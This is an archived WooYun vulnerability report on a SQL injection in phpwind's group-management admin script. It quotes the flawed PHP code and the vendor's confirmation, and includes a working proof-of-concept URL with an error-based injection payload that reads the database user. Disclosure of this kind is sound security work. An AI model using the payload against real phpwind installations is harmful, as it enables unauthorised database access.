当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2011-01549

漏洞标题：phpwind一个SQL注射漏洞

相关厂商：phpwind

漏洞作者： t00000by57

提交时间：2011-03-10 19:37

修复时间：2011-04-09 21:00

公开时间：2011-04-09 21:00

漏洞类型：SQL注射漏洞

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2011-03-10： 细节已通知厂商并且等待厂商处理中
2011-03-11： 厂商已经确认，细节仅向厂商公开
2011-03-14： 细节向第三方安全合作伙伴开放
2011-05-05： 细节向核心白帽子及相关领域专家公开
2011-05-15： 细节向普通白帽子公开
2011-05-25： 细节向实习白帽子公开
2011-04-09： 细节向公众公开

简要描述：

小bug而已 利用前提是得到群组管理员权限

详细说明：

/apps/group/admin/manage.php line 219

S::gp(array('ttable', 'ptable', 'page','cid','author','ckauthor','keyword','ktype','ttype','ckkeyword','postdate_s','postdate_e','orderby','sc','perpage','cname')); //ttable
		.....
		if ($ttype == '1') {
			$sqltab = 'pw_threads t';
			$pw_tmsgs = 'pw_tmsgs' . $ttable; //!
			$tpre = 'tm';
			$addpage .= "ttable=$ttable&";
		} else {
			$sqltab = GetPtable($ptable) . ' t';
			$addpage .= "ttype=2&ptable=$ptable&";
		}
          ......
		if ($keyword) {
			$addpage .= "keyword=$keyword&ktype=$ktype&ckkeyword=$ckkeyword&";
			if ($ckkeyword) {
				$k_sql = " = " . S::sqlEscape($keyword);
			} else {
				$k_sql = " LIKE " . S::sqlEscape('%'.$keyword.'%');
			}
			if ($ktype == 'subject') {
				$sql .= " AND t.subject" . $k_sql;
			} else {
				$ttype == '1' && $sqltab .= " LEFT JOIN $pw_tmsgs tm ON t.tid=tm.tid"; //$pw_tmsgs
				$sql .= " AND {$tpre}.content" . $k_sql;
			}
		}

漏洞证明：

/admin.php?adminjob=apps&admintype=groups_manage&action=argument&keyword=1&ttable=/**/tm ON t.tid=tm.tid LEFT JOIN pw_argument a ON t.tid=a.tid LEFT JOIN pw_colonys c ON a.cyid=c.id WHERE (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),CONCAT(0x3a,(SELECT USER())))a from information_schema.tables group by a)b)%23

修复方案：

preg_match
也可不修补

版权声明：转载请注明来源 t00000by57@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2011-03-11 16:23

厂商回复：

谢谢 t00000by57 反馈，我们会尽快处理的。

最新状态：

暂无